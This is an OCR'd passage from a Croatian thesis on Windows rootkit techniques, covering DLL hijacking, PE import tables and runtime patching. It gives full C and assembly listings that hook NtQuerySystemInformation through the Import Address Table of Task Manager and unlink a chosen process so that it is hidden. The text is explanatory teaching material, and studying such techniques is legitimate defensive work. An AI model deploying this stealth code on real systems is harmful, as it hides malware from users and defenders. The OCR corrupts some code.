dohvacene informacije. U slucaju kada je prvi parametar SYSTEM PROCESS INFORMATION
(numericki definiran kao broj 5), funkcija dohvaéa listu procesa na sustavu koja sadrzava
veliku koli¢inu informacija o pojedinom procesu (mnogo vise informacija nego ostale
funkcije specijalizirane za rad s procesima). Struktura podataka koja se vraca je jednostruko
povezana lista realizirana poljem koja u MSDN dokumentaciji nije precizno definirana
(mnogo elemenata te strukture oznaceno je kao rezervirano za operacijski sustav), no
znacenje pojedinih elemenata moze se doznati koriStenjem odgovaraju¢ih debuggera. Na
stranici [21] doti¢na struktura definirana je mnogo preciznije.

Sama funkcija u ntdll.dll biblioteci, otvorena u besplatnom Immunity Debugger-u [7a]
prikazana je na slici 6.11.
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Slika 6.11: Kédfunkcye NtQuerySystemInformation

Kao i vec¢ina funkcija u ntdll.dll biblioteci, kod funkcije je vrlo kratak jer predstavlja samo
prijelaz iz korisnickog nacina rada u jezgreni — sama funkcija nalazi se u jezgri (u ovom
slucaju, to je funkcija pod imenom zwouerySystemInformation()) 1 iz jezgre se dohvacaju
pravi podaci. Razli¢ite metode prijelaza iz jednog u drugi nacin rada, kao 1 o strukture
sistemskih poziva izvan su dosega ovog rada, no radi se u sustini o stavljanju odgovarajuceg
parametra u registar eax i izvodenjem sysenTEr instrukcije (u operacijskom sustavu Windows
XP i kasnijim verzijama, svysenTer instrukcija je u funkciji na adresi 0x7FFE0300) ili
izazivanjem prekida (Windows 2000 i raniji).

Nakon S§to su pronadene funkcije, potrebno je na neki nacin te funkcije zamijeniti
"zlo¢udnim", vlastitim verzijama, pazec¢i pritom da sama aplikacija koja te funkcije koristi 1
dalje funkcionira normalno.

Jedna od moguénosti zamjene je zamjena samih DLL biblioteka novim, zloCudnim verzijama.
lako npr. u kernel32.dll datoteci ima mnoStvo funkcija koje se koriste, a napadac zeli "oteti"
samo jednu, moguce je napraviti novu DLL datoteku imena kernel32.dll, staru preimenovati
primjerice u kernel22.dll i sve funkcije koje se ne Zele promijeniti proslijediti (engl. forward)



iz kernel32.dll (nove) u kernel22.dll mehanizmom koji omogucéuje sam Microsoft. Medutim,
ova metoda je za napadaca vrlo nepozeljna jer osim $to su za zamjenu DLL biblioteka u
Windows\system32 direktoriju potrebne administratorske dozvole, poveéani broj DLL
datoteka 1 svojstva novih DLL datoteka (datum nastanka, autor DLL datoteke i sli¢ne
informacije ukljucene u samu datoteku) kod sumnjicavog korisnika mogu pobuditi sumnju.
Najveci problem ove vrste otimanja funkcija (kako ¢e u daljnjem tekstu biti oznacen postupak
zamjene uobiCajene API funkcije napadacevom verzijom) je Cinjenica da se zamjena mora
obaviti prije nego bilo koji program pocne koristiti tu biblioteku. Budu¢i da kernel32.dll
biblioteku koriste gotovo sve aplikacije u operacijskom sustavu Windows, jasno je da se ta
zamjena mora obaviti vrlo rano, pri samom podizanju sustava, $to ukljucuje uredivanje
sustavskog registra (za to su takoder potrebne adminstratorske privilegije) i podlozno je
otkrivanju.

Druga moguénost zamjene takoder obuhvaca nove verzije DLL biblioteka, no ovdje se stare
(ugradene) verzije ne mijenjaju i nije potrebno uredivati sustavski registar. Svaka aplikacija
pri svom pokretanju trazi potrebne joj DLL biblioteke u unaprijed odredenom poretku.
Najprije se u sustavskom registru pregledavaju vrijednosti kljuca
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 1 ako
postoji vrijednost s imenom DLL biblioteke koja se trenutno trazi, postupak trazenja zavrsava
1 DLL biblioteka je pronadena. U ovom kljucu navedene su najvaznije DLL biblioteke poput
kernel32.dll, user32.dll, gdi32.dll 1 druge. Ako DLL datoteka nije pronadena, pretraga se dalje
odvija ovim redosljedom (prema MSDN dokumentaciji):

Direktorij u kojem se nalazi izvr$na verzija procesa (.exe datoteka)
Trenutni direktorij

Sistemski Windows direktorij (najéesée system32)

b=

Windows direktorij
5. Direktoriji navedeni u paTh varijabli okruzenja

Kako bi ovaj mehanizam ucinio donekle fleksibilnijim, Microsoft je razvio preusmjeravanje
(engl. redirection). Mehanizam preusmjeravanja specificira da je moguce da aplikacija koristi
"lokalne" verzije DLL datoteka koje se nalaze primjerice u sistemskom direktoriju (npr.
crypt32.dll biblioteka kriptografskih funkcija) pri ¢emu je ime same DLL datoteke isto.
Primjerice, u direktoriju aplikacije moze se nalaziti biblioteka imena crypt32.dll i aplikacija
¢e, uz omogucavanje mehanizma preusmjeravanja, koristiti funkcije iz te biblioteke, a ne
funkcije iz biblioteke crypt32.dll koja se nalazi u sistemskom direktoriju. Da bi mehanizam
ispravno funkcionirao, mora se definirati tzv. dot-local datoteka kao obi¢na prazna datoteka s
nastavkom ./ocal koja ima isto ime kao i aplikacija (npr. aplikacija.exe.local). Osim dot-local
datoteka, druga metoda je napraviti posebnu manifest datoteku. Manifest datoteka ima istu
konvenciju imenovanja kao i dot-local datoteke (npr. aplikacija.exe.manifest), no datoteka
nije prazna, ve¢ je posebno oblikovana XML datoteka (vise detalja moguce je pronaci u
pripadnoj dokumentaciji). Mehanizam dot-local datoteka prilicno je star mehanizam i
Microsoft ne dozvoljava da se njime preusmjeravaju "kljucne" DLL biblioteke poput
kernel32.dll. Teoretski, u dokumentaciji stoji da ni s manifest datotekama nije moguce postici
preusmjeravanje klju¢nih biblioteka, no u praksi se pokazuje da to nije sasvim tocno.

Napada¢ dakle mora u direktorij aplikacije postaviti vlastitu verziju DLL biblioteke uz
odgovarajucu dot-local ili manifest datoteku. Uobicajeno to nije problem, no budu¢i da se
Task Manager nalazi u istom direktoriju gdje i1 ostale DLL biblioteke koje koristi (ntdIl.dll,



kernel32.dll...) i ova metoda u tom slucaju zahtijeva administratorske privilegije (buduci da se
radi o Windows direktoriju) i svodi se na prvu metodu.

Ipak, postoji metoda koja je potpuno neovisna o polozaju DLL biblioteka, ne zahtijeva
njihovo premjestanje, niti administratorske privilegije, a mnogo je mo¢nija i fleksibilnija od
metoda koje su dosad opisane. Ta metoda se oslanja na strukturu izvrSne datoteke u
operacijskom sustavu Windows na disku, ali i u memoriji.

Izvr$ne datoteke u Windows operacijskom sustavu, kao i DLL biblioteke imaju jedinstvenu
strukturu 1 oblik poznat pod imenom Portable Executable — PE format. Format datoteke vrlo
je slozen 1 obuhvaca brojna zaglavlja, polja i strukture koje su uglavnom dobro
dokumentirane, iako postoje neke za koje dokumentacija nije dostupna. Zbog vrlo velike
sloZenosti formata i velikog broja elemenata nacdinjena je pregledna shema svih struktura za
koje postoji dokumentacija. Shema se nalazi na posteru u prilogu koji dolazi uz rad. Uz rad
dolazi i verzija slike u TIF formatu bez kompresije veli¢ine 60 MB, kao i kompresirane slike
u jpg 1 png formatu.

Objasnjenje pojedinih elemenata i struktura ukratko je dano na samoj slici, a detaljnija
objasnjenja mogu se prona¢i u MSDN dokumentaciji (ukoliko se radi o dokumentiranim
strukturama), kao i u izvrsnom tekstu Matta Pietreka [22]. Detalji pojedinih elemenata
znacajno premasuju opseg ovog rada, pa ¢e se naglasiti samo elementi i strukture koji su
kljuéni za ono §to se zeli postici (sakriti proces, odnosno datoteku/direktorij od korisnika).

PE format ima vrlo vaZzno svojstvo da datoteka na disku (izvr$na — exe ili DLL biblioteka) ima
jednak oblik kao i datoteka koju je Windows punitelj (engl. loader) ucitao u memoriju,
raspored struktura, pojedinih zaglavlja i1 odjeljaka je identi¢an, osim §to su adrese, naravno,
razli¢ite. Ovo svojstvo znatno olakSava obradu PE formata jer se ona u oba slucaja, i za
datoteke na disku i za one ucitane u memoriju, svodi na istovrsne postupke.

U nasim razmatranjima kljuéne su funkcije  wNtQuerySystemInformation() 1
Findrirst/NextFile () koje aplikacije uvoze iz odgovaraju¢ih DLL biblioteka. U trenutku
ucitavanja npr. Task Manager aplikacije u memoriju, ntdll.dll biblioteka je ve¢ prethodno
ucitana u memoriju jer ju koriste brojne druge aplikacije. U kddu Task Manager aplikacije
postoji poziv funkcije NtQuerySystemInformation(), no u trenutku ucitavanja aplikacije
adresa te funkcije nije poznata budu¢i da se ona nalazi u DLL datoteci. Isto je i s ostalim
funkcijama koje aplikacija uvozi iz ostalih DLL datoteka, a takvih je funkcija u uobicajenim
Windows aplikacijama vrlo mnogo. Kako aplikacija ipak uspijeva pozvati "ispravnu"
funkciju?

Windows punitelj ima zadacu "ispraviti" sve adrese u kddu aplikacije koje se odnose na
funkcije iz DLL biblioteka. Budu¢i da takvih funkcija ima mnogo, a prolaZenje kroz sam kod
bio bi tezak i relativno dugotrajan postupak (pokrenuta aplikacija se gotovo trenutno mora
ucitati u memoriju i1 zapoceti sa svojim izvrSavanjem), svi pozivi DLL funkcija u kodu
aplikacije nisu zapravo izravni pozivi funkcija ve¢ (najceS¢e) bezuvjetni skokovi (pozivi
funkcija) na posebni dio u adresnom prostoru aplikacije. Doti¢ni posebni dio naziva se IAT —
Import Address Table — tablica uvoznih adresa koja je na posteru u prilogu prikazana crnom
bojom (nalazi se u patabirectory[1]). Osim tablice uvoznih adresa, paralelno postoji i INT —
Import Name Table — tablica uvoza po imenu koja, izmedu ostalog, sadrzi ime uvezene
funkcije. Windows punitelj prilikom ucitavanja aplikacije najprije  pronalazi
patabDirectory[1] strukturu koja sadrzava sve informacije o unosu. Ta struktura pokazuje na
polje 1MAGE TMPORT DESCRIPTOR struktura, pri ¢emu svaka struktura oznacava jednu DLL
datoteku iz koje se uvoze pojedine funkcije. Punitelj provjerava da li je DLL biblioteka



odredena 1MAGE TMPORT DESCRIPTOR strukturom veé ucitana u memoriju i ako nije, vrsi
ucitavanje (isti postupak koji se ovdje opisuje). Nakon S§to je DLL biblioteka ucitana u
memoriju, punitelj pronalazi tablicu uvoznih adresa (polje 1vMace ThuUnk DaTa struktura, po
jedna struktura za svaku funkciju koja se uvozi, na koje pokazuje odgovarajuca
IMAGE IMPORT DESCRIPTOR struktura) i na temelju informacija koje tamo pronalazi (da li se
radi o proslijedenoj funkciji, pri ¢emu punitelj mora ponoviti opisani postupak i pronaci
stvarnu funkciju, na temelju imena funkcije — ako ime postoji — ili na temelju rednog broja
funkcije, ako se koriste redni brojevi za uvoz) mijenja polje Function u stvarnu adresu
uvezene funkcije. Kada Task  Manager aplikacija poziva funkciju
NtQuerySystemInformation (), zapravo se poziva adresa navedena u  Function polju
odgovaraju¢e tvMace THUNK DATA strukture, a tu adresu je punitelj postavio na pravu adresu
NtQuerySystemInformation () funkcije iz ntdll.dll datoteke.

<. Immunity Debugger - taskmgr.exe - [CPU - main thread, mod E — Elﬂ
File Wiew Debug Plugins Immlib Options Window Help Jobs = ﬂ

OB EE Mxp I BHEHEA 1 emtwhcPkbzrz. sl? |l

B8180AGCS 8B46 1@ EAX, DWORD PTR [ESI+1@]

B8100AGCE 3BC3 EAX, EBX

B81080A6GCA 7y 2D SHORT taskmgr.@100AGF?

B8180AGCC EBX

B8180AGCD DWORD PTR [ESI+14]

B8180A6D B EAX

81868A6D1 5
8100R6D3 DWORD PTR [<&ntdll
8188A6DY EAX, EBX

Break on new module(s] FPauzad

Slika 6.12: Poziv funkcije NtouerySystemInformation () u Task Manager aplikaciji

Na slici 6.12 vidljivo je da se ne poziva direktno funkcija NtQuerySystemInformation () (iako
Immunity Debugger prepoznaje ime funkcije koja se poziva), ve¢ se skace na adresu Function
polja u 1vMaGE_THUNK DATA strukturi.

Isto vrijedi 1 za gotovo bilo koju funkciju koja je uvezena iz DLL biblioteke. Poseban slucaj
predstavljaju tzv. direktno povezane (engl. bound) DLL biblioteke. O¢ito je da bi pokretanje
aplikacije bilo znatno brze kada bi adrese svih uvezenih funkcija unaprijed bile poznate jer
punitelj ne bi morao troSiti dragocjene resurse kako bi popunio tablicu uvoznih adresa.
Takoder, pri uredivanju tablice uvoznih adresa punitelj aktivira copy-on-write zastitni
mehanizam, obavlja se stranicenje tog dijela PE datoteke, obavljaju se izmjene i zapisuju u
memorijski prostor aplikacije (sama tablica uvoznih adresa oznacena je samo za Citanje, no
punitelj tijekom pokretanja aplikacije kratkotrajno mijenja dozvole kako bi mogao obaviti
svoju zadacu), Sto takoder predstavlja zauzece resursa. Mehanizam direktnog povezivanja
obavlja isti postupak kao i Windows punitelj prilikom pokretanja aplikacije, no sada su u
trenutku pokretanja aplikacije adrese uvezenih funkcija ve¢ unesene 1 punitelj ih ne mora
azurirati ¢ime se brzina pokretanja aplikacija i zauzece resursa bitno smanjuje. Naravno, ako
se adresa funkcije koju izvozi DLL, a uvozi aplikacija promijeni, pojavljuje se problem. No,
punitelj to automatski prepoznaje i1 ispravlja pogreSne adrese. Direktno povezane DLL
biblioteke u aplikaciji se od normalnih razlikuju 1 po tome $to na njih pokazuje struktura
DataDirectory[11] koja pokazuje na strukturu tipa IMAGE BOUND IMPORT DESCRIPTOR. Punitelj
usporeduje iskljucivo sadrzaj te strukture prema stvarnim adresama funkcija 1 ispravlja



pogresne adrese. Mehanizam je ovdje prikazan relativno neprecizno jer za daljnja razmatranja
nije vazan, ve¢ je samo spomenut kao dodatna mogucénost za smjeStaj adresa uvezenih
funkcija.

Jo§ jednu iznimku predstavljaju 1 DLL biblioteke s odgodenim uvozom funkcija (engl. delay-
load DLL). Odgodeni uvoz je mehanizam uvoza funkcija koji ima elemenata eksplicitnog i
implicitnog povezivanja DLL biblioteka. Mehanizam funkcionira tako da se uvoz funkcija ne
obavlja sve dok se doti¢na funkcija ne pozove, a specificira se prilikom povezivanja koda
opcijom /peravroap. Tek u trenutku kada aplikacija zeli pozvati takvu funkciju, biblioteka
izvodenja (engl. runtime library) upisuje tocnu adresu funkcije u odgovarajucu strukturu. U
ovom postupku ne sudjeluje Windows punitelj, ve¢ samo biblioteka izvodenja. Takoder,
adresa funkcije ne zapisuje se u tablicu uvoznih adresa, ve¢ u posebnu strukturu
IMAGE DELAY IMPORT DESCRIPTOR na koju pokazuje DataDirectory[13].
IMAGE DELAY IMPORT DESCRIPTOR struktura pokazuje na 1mace THUNK paTa strukture koje
sadrzavaju stvarne adrese uvezenih funkcija, kao i1 kod 1Mace 1MporT DESCRIPTOR struktura.
Mehanizam odgodenog uvoza nece biti detaljnije objasnjen, a zainteresirani Citatelj viSe
informacija moZe prona¢i u MSDN dokumentaciji i u navedenom tekstu [22].

1z ovih razmatranja jasno je da, ukoliko Zelimo "oteti" funkciju NtQuerysystemInformation (),
moramo pronacéi odgovarajucu adresu u tablici uvoznih adresa i zamijeniti ju adresom nase
"zlo¢udne" funkcije koja skriva proces. Naravno, kako bismo promijenili adresu funkcije, nas
se kod mora izvoditi u kontekstu Task Manager/Windows Explorer aplikacije. To ¢emo, kao 1
do sada, posti¢i ubacivanjem DLL biblioteke u adresni prostor procesa pomocu wa_cst kuke.
Postupak ¢e biti opisan u programu /4 TMethod.

Vedi dio kdda preuzet je iz programa Naive-improved 1 NaiveLogger 1 taj dio nece biti
detaljnije objasnjavan, ve¢ samo onaj koji je specifi¢an za program /4 TMethod.

Nakon S$to se pokrene Task Manager aplikacija, aktivira se wu _cer kuka koja pokrece
proceduru HookpProc (), koja pak pokre¢e osnovnu funkciju ovog programa — funkciju
PretraziTat () koja se izvodi u kontekstu Task Manager aplikacije.

//ako se radi o task manageru (u szTaskManDir je putanja do aplikacije)
if(!1strcmpi (szBuf, szTaskManDir))
{

//ako je ovo prva aktivacija kuke, tj. Task Manager proces Jje tek
//pokrenut

if(!flag)
{

//onda ozna¢i da je Task Manager pokrenut i pretrazi njegovu
//uvoznu tablicu

flag = true;
PretraziIAT ("Ntdll.dl1l", "NtQuerySystemInformation", true);

Ispis 6.21: Aktiviranje WH_CBT kuke i poziv funkcije pretraziiat ()

Funkcija pretrazitat () prikazana je na ispisima koji slijede.



BOOL PretraziIAT (char *hookedDLL, char *hookedFunc)

{

HMODULE hModule; //ruc¢ica na "modul" aplikacije
PIMAGE DOS HEADER pDosHeader = NULL; //pokaziva& na DOS zaglavlije
PIMAGE NT HEADERS pNTHeader = NULL; //pokaziva¢ na NT zaglavlje
IMAGE _DATA DIRECTORY importTable; //DataDirectory struktura
PIMAGE IMPORT DESCRIPTOR pImportDescriptor = NULL; //pokazivad na

//IMPORT DESCRIPTOR strukturu koja
//opisuje DLL iz kojeg se uvozi

PIMAGE THUNK DATA pIAT = NULL; //pokazivaé na IMAGE THUNK DATA
//strukturu, tj. IAT
PIMAGE_THUNK_DATA pINT = NULL; //IAT i INT su zapravo IMAGE THUNK DATA

//strukture, no zapravo su to unije
//veli¢ine pointera

PIMAGE IMPORT BY NAME pImport = NULL; //pokazivad¢ na strukturu uvoza prema
//imenu

DWORD i = 0;

char *dllIme = NULL;

//najprije dohvati modul kako bismo mogli parsirati njegovu strukturu
hModule = GetModuleHandle (NULL) ;

//pocetak modula je ujedno i pocetak DOS zaglavlja
pDosHeader = (PIMAGE_DOS_HEADER) hModule;

//dohva¢amo NT zaglavlje zbrajanjem pocetka modula i e lfanew polja
pNTHeader = (PIMAGE NT_ HEADERS) ((DWORD) pDosHeader + pDosHeader->e l1fanew);
//ako potpis u NT zaglavlju nije jednak PE0O

if (pNTHeader->Signature != IMAGE NT SIGNATURE)

return FALSE; //oCito nismo uspjeli dobro mapirati PE datoteku

//dohvati odgovarajucu DataDirectory strukturu, to je DataDirectory[l] struktura
//unutar Optional zaglavlja

importTable = pNTHeader->OptionalHeader.DataDirectory[IMAGE DIRECTORY ENTRY_ IMPORT];

//moguc¢e je da program nema import tablicu (npr. DLL moze imati samo EXPORT
//sekciju)

if (importTable.VirtualAddress == 0) return FALSE;

//dohvati odgovarajuéu IMAGE IMPORT DESCRIPTOR strukturu (ukupan broj struktura

//jednak je broju DLL-ova koji se uvoze)

pImportDescriptor = (PIMAGE IMPORT DESCRIPTOR) ((DWORD) pDosHeader +
importTable.VirtualAddress) ;

//sve dok Characteristics polje nije jednako 0, znac¢i da dotiéni deskriptor
//postoji, tj. nismo do3li do kraja polja

while (pImportDescriptor[i].Characteristics != 0
/*&& pImportDescriptor[i].FirstThunk != 0 &&
pImportDescriptor[i] .ForwarderChain != 0%*/)

//mozda bi trebali sve ispitati...

//dohvati ime DLL-a (Name polje Jje zapravo relativna virtualna adresa - RVA
//na string kojoj moramo dodati pocetak modula)

dllIme = (char *) ((DWORD) pDosHeader + pImportDescriptor[i].Name) ;

//dohvati adrese IAT i INT tablica

pINT = (PIMAGE THUNK DATA) ((DWORD) pDosHeader +
pImportDescriptor[i] .OriginalFirstThunk) ;
pIAT = (PIMAGE_THUNK_DATA) ( (DWORD) pDosHeader +

pImportDescriptor[i] .FirstThunk) ;



//prodi kroz sve zapise u IAT tablici, tj. prodi kroz sve funkcije koje
//se uvoze iz dane DLL datoteke.
//Prolazimo sve dok adresa IMPORT_BY NAME strukture nije 0, Sto oznacava
//kraj IAT tablice
for (; pINT->ul.AddressOfData != 0 && pINT->ul.Function != 0;pINT++, pIAT++)
{
//moramo najprije provjeriti koja je vrsta importa, da 1li preko
//broja 1li preko imena... Nas prije svega zanima unos preko imena
//ako najvisi bit trenutne Import Name tablice ima vrijednost O,
//onda je import preko imena
if (! (pINT->ul.Ordinal & 0x80000000))
{
char buf[256];

//dohvati pokazivaé na IMPORT BY NAME strukturu

pImport = (PIMAGE_ IMPORT BY NAME) ((DWORD) pDosHeader +
pINT->ul.AddressOfData) ;

//ako je ime funkcije jednako kao i funkcija koju Zelimo

//promijeniti i DLL je odgovarajuci

if (strcmpi ((char *)pImport->Name, hookedFunc) == 0 &&
strcmpi (d11Ime, hookedDLL) == 0)

//osnovni problem s uvoznom tablicom je 3to Jje
//ozna&ena SAMO ZA CITANJE

//ipak, mi moZemo promijeniti taj dio memorije u
//adresnom prostoru procesa jer imamo dovoljne
//dozvole

//jer se ve¢ nalazimo u adresnom prostoru
//procesa

MEMORY_ BASIC INFORMATION IATmemPage;

//dohvati informacije o memorijskom prostoru na koji
//pokazuje pokazivac pIAT

//efektivno doznajemo informacije o memorijskim
//stranicama u kojima se nalazi IAT

VirtualQuery (pIAT, &IATmemPage,
Sizeof(MEMORY_BASIC_INFORMATION));

//oznaci dotic¢ne stranice za CITANJE i PISANJE kako
//bismo mogli provesti izmjene

if (!VirtualProtect (IATmemPage.BaseAddress,
IATmemPage.RegionSize, PAGE READWRITE, &IATmemPage.Protect))

//ako ne uspijes, izadi van, mozda je potrebno
//dojaviti neku pogresku
//naravno, u napadacevoj bi se aplikaciji
//pogredka zanemarila jer aplikacija mora biti
//3to tisa
return FALSE;
//dohvati staru vrijednost Function polja, tj.
//spremi STVARNU adresu funkcije u odgovarajucu
//varijablu
stariNTQSI = (NTQUERYSYSINFO) (DWORD PTR)

pIAT->ul.Function;
//zapidi na tu poziciju novu vrijednost
//funkcije, funkcija je upravo oteta:)

pIAT->ul.Function = (ULONGLONG) (NTQUERYSYSINFO)
noviNTQSI;

DWORD tmp;

//moramo natrag vratiti svojstva stranica na READ-ONLY



if (!VirtualProtect (IATmemPage.BaseAddress,
IATmemPage.RegionSize, IATmemPage.Protect, &tmp))

return FALSE;

//obavili smo posao, pa mozZemo zavrs$iti s ovom
//funkcijom

return true;

i++;
return false;

Ispis 6.22: Funkcija pretraziI1aT ()

Funkcija pretrazizat () relativno je sloZena i velika funkcija, no njena slozenost proizlazi
prije svega iz sloZenosti PE formata. Prate¢i poster u prilogu i analiziraju¢i kod, vidljivo je da
funkcija prolazi kroz zaglavlja PE formata u potrazi za uvoznom tablicom. Nakon njenog
lociranja mijenja dozvole memorijskih stranica u kojima se tablica nalazi (omogucava pisanje
po tablici), zamjenjuje ispravnu adresu funkcije NtQuerySystemInformation() S adresom
"zlo¢udne" funkcije i vra¢a dozvole na inicijalne postavke. Sam kdd funkcije vrlo je dobro
komentiran 1 u komentarima su dana sva objasnjenja vezana uz kéd pa se on ovdje nece
detaljnije objasnjavati.

Preostaje joS jedino opisati zlo¢udnu verziju funkcije NtQuerySystemInformation() koja
skriva odgovarajuéi proces.

Vazno je napomenuti da sve funkcije koje se na ovaj nacin prepisuju u uvoznoj tablici moraju
rukovati sa stogom na identican nacin kao 1 originalne funkcije. Zbog toga je funkcija
MojNtQuerySystemInformation () koja predstavlja zlo¢udnu verziju gore navedene funkcije
oznacena kao naked, §to znaci da ne Zelimo da prevoditelj sam generira kod za rad sa stogom
(tzv. prolog 1 epilog) nego ¢e se pohrana konteksta i povratak iz procedure obavljati "rucno",
tj. prolog 1 epilog ¢emo napisati upravo mi, paze¢i da funkcija vjerno oponasa originalnu
funkciju (ponasanje originalne funkcije moguce je najjednostavnije vidjeti pomocu
debuggera).

Pisanje vlastite funkcije ovog tipa nije jednostavno i ovo je dosad zasigurno najslozenija
opisana metoda, no za imalo iskusnog napadaca problem je trivijalan.

Funkcija mojntouerysysteninformation () prikazana je na ispisu koji slijedi.



__declspec(naked) NTSTATUS MojNtQuerySystemInformation (SYSTEM INFORMATION CLASS
sysInfoClass, PVOID sysInfo, ULONG sysInfolLen, PULONG returnLen)

~_asm
{
//spremi registar okvira stoga na stog i stvori novi okvir stoga,
//rezervirajuc¢i prostor za lokalne varijable
//ovo je ruéno pisani prolog
push ebp
mov ebp, esp
sub esp, _ LOCAL_SIZE
}
//ako prvi parametar NIJE SystemProcessInformation = 5, onda neéemo nista mijenjati

//jer se ne radi

//o procesima, ve¢ o dohvatu drugih informacija o sustavu.

//Pristojno ¢emo pozvati stvarnu funkciju onako kako bi se ona stvarno pozvala
if (sysInfoClass != SYSTEM INFORMATION_ CLASS::SystemProcessInformation)

{

asm

—~—

//postavi parametre na stog obrnutim redoslijedom i pozovi funkciju
push returnLen

push sysInfolen

push sysInfo

push sysInfoClass

call far dword ptr stariNTQSI

//obnovi prethodni okvir stoga i povec¢aj esp za 10 i vrati se u
//pozivajuéu funkciju

//povratna vrijednost funkcije NtQuerySystemInformation je (izmedu
//ostalog) u registru eax

mov esp, ebp

pop ebp

retn 10h

DWORD pov;
asm

{
//dohvacaju se upravo procesi, najprije pozovi funkciju normalno, a povratnu
//vrijednost spremi u varijablu pov

push returnlLen

push sysInfolen

push sysInfo

push sysInfoClass

call far dword ptr stariNTQSI

mov pov, eax

//buduc¢i da NtQuerySystemInformation funkcija vrac¢a listu procesa kojih moze biti
//proizvoljan broj (i velic¢ina pojedinih elemenata/struktura te liste takoder moze
//varirati), ne zna se unaprijed koliki je prostor potrebno rezervirati za pohranu
//liste. PoCetna (pretpostavljena) velic¢ina liste unosi se kao parametar
//sysInfolen, a u parametar returnLen funkcija NtQuerySystemInformation zapisuje
//nuznu velicinu prostora. Vecina aplikacija koja poziva ovu funkciju radi tako da
//uzastopce poziva funkciju povecavajuc¢i sysInfolen parametar za vrijednost 0x1000.
//Bko funkcija vrati pogredku STATUS INFO LENGTH MISMATCH §to oznacava da je
//rezervirani prostor premalen, aplikacija ¢e poveéati prostor za 0x1000 i ponovo
//pozvati funkciju, sve dok u nekom od poziva velidina bude dostatna - TAKO RADI I
//TASK MANAGER APLIKACIJA!



if (pov == STATUS INFO LENGTH MISMATCH)
{

asm

—~—

//prostor je premalen, vrati natrag povratnu vrijednost (gresku u
//ovom slucaju)

mov eax, pov
//obnovi okvir stoga i1 vrati se u pozivajudu proceduru azurirajuci
//stog

mov esp, ebp

pop ebp

retn 10h

//sve je uspjelo, dohvatili smo listu procesa i po njoj moZemo iterirati
PSYSTEM PROCESS INFORMATION prethodnik;
PSYSTEM PROCESS INFORMATION prInfo;

//inicijaliziramo pokazivaé¢ na listu procesa
prInfo = (PSYSTEM PROCESS INFORMATION) sysInfo;

//uzimamo i njegovog prethodnika jer ¢emo morati povezati prethodnika sa
//sljedbenikom nakon &to "izbacimo" Zeljeni proces

prethodnik = priInfo;

//prolazi kroz listu procesa aZurirajuéi pokazivace prInfo i prethodnik, sve dok
//NextEntryOffset polje u strukturi ne bude jednako 0

for(; prInfo->NextEntryOffset != 0; prethodnik = prInfo, prInfo =
(PSYSTEM PROCESS INFORMATION) ((DWORD) prInfo + (DWORD) prInfo->NextEntryOffset))

//dohvaéeno ime je Unicode, moramo ga pretvoriti u ASCII pa moramo znati
//koliki nam je prostor potreban za smje3taj stringa

int size = WideCharToMultiByte (0, 0, (LPCWSTR) prInfo->Reserved2[1l], -1,
NULL, 0, NULL, 0);

//prvi zapis nije imenovan, pa ga zanemarujemo

if (size == 0) continue;

//imeProc varijabla sadrZavat ¢e nakon konverzije ASCII ime procesa

char *imeProc = (char *) VirtualAlloc(NULL, size, MEM COMMIT,
PAGE_READWRITE);

WideCharToMultiByte (CP_ACP, WC_NO_BEST_FIT CHARS, (LPCWSTR) prInfo
->Reserved?2[1], -1, imeProc, size, NULL, NULL);

//ako je to ASCII ime procesa upravo jednako imenu procesa kojeg Zelimo
//sakriti

if (!strcmp (imeProc, proces))

{
//prethodnika tog procesa povezujemo sa sljedbenikom trenutnog
//procesa.
//Na taj smo nacin efektivno "premostili" trenutni/trazZeni proces
prethodnik->NextEntryOffset += prInfo->NextEntryOffset;
VirtualFree (imeProc, 0, MEM RELEASE);
continue;

}

VirtualFree (imeProc, 0, MEM RELEASE);



asm

//vratamo povratnu vrijednost i izlazimo iz funkcije
mov eax, pov

mov esp, ebp

pop ebp

retn 10h

Ispis 6.23: Zloc¢udna funkcija vio3ntouerysystemInformation ()

I ova je funkcija vrlo dobro komentirana, a njeno djelovanje moglo bi se ukratko opisati na
sljede¢i nacin: funkcija najprije provjerava je li prvi parametar jednak 5 (
SYSTEM PROCESS_ INFORMATION). Ako nije, onda se normalno poziva originalna funkcija i
prosljeduje se dobivena povratna vrijednost jer u tom slucaju ne Zelimo niSta mijenjati. Ako je
vrijednost 5, tada funkcija "pocinje djelovati". Poziva se originalna funkcija i nadgledaju se
povratne vrijednosti originalne funkcije. Budu¢i da se vraca lista procesa proizvoljne duljine,
vrlo vjerojatno alocirani memorijski prostor (pokaziva¢ na njega predan je kao drugi
parametar) nije dovoljno velik, pa ¢e se prijaviti greSka. U tom slucaju pozivajuca aplikacija
(Task Manager) mora napraviti oporavak od pogreske, povecati memorijski prostor i pozvati
funkciju ponovo. Detaljnije je ova situacija opisana u komentarima. Nakon §to je alociran
dovoljan memorijski prostor i poziv funkcije NtQuerySystemInformation () je uspio, povratna
vrijednost je lista procesa. U zlocudnoj funkciji prolazi se kroz listu procesa i u sluc¢aju da se
naide na proces koji je potrebno sakriti, vr$i se njegovo "izbacivanje" iz liste tako da se
njegov prethodnik poveze s njegovim sljedbenikom ¢ime je njegova pozicija u listi
"izgubljena". Pri svim operacijama zlocudna funkcija mora voditi ratuna o stogovnim
operacijama i oponaSati stvarnu funkciju NtQuerySystemInformation() 1 vracati tocno
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odgovarajuce parametre, uz odgovarajuce "Cis¢enje" stoga.

Modifikacija uvozne tablice nije jedini nacin presretanja i otimanja funkcija koje neka
aplikacija poziva. Mnogo mo¢nija, ali ujedno i mnogo sloZenija tehnika je dinamicka
instrumentacija, odnosno mijenjanje koda pri izvodenju (engl. runtime code patching).
Dinamicka instrumentacija op¢enito ozna¢ava mogucnost izmjene kdda programa umetanjem
vlastitih odsjeCaka koda prilikom izvodenja samog programa. Najcesc¢e se dinamickom
instrumentacijom umecu instrukcije koje vrSe razli¢ita ispitivanja i mjerenja brzine izvodenja
programa (engl. profiling), no opcenito se moze raditi o bilo kojim instrukcijama i izmjenama
bilo kojeg dijela koda. Primjer biblioteke koja omogucuje dinamicku instrumentaciju je
Microsoft Detours biblioteka. Izmedu ostalog, Detours biblioteka omogucava izmjenu bilo
koje funkcije koju aplikacija koristi i njenu zamjenu vlastitom funkcijom, uz cuvanje
originalne verzije funkcije. Detours biblioteka prepisuje prvih 5 bajtova originalne funkcije
naredbom bezuvjetnog skoka na korisni¢ki definiranu funkciju koja se zove detour —
zaobilazna funkcija. Prije prepisivanja originalne funkcije, tih prvih 5 bajtova zajedno sa
skokom na instrukciju koja slijedi nakon 5 bajtova pohranjuje se u prostor koji se naziva
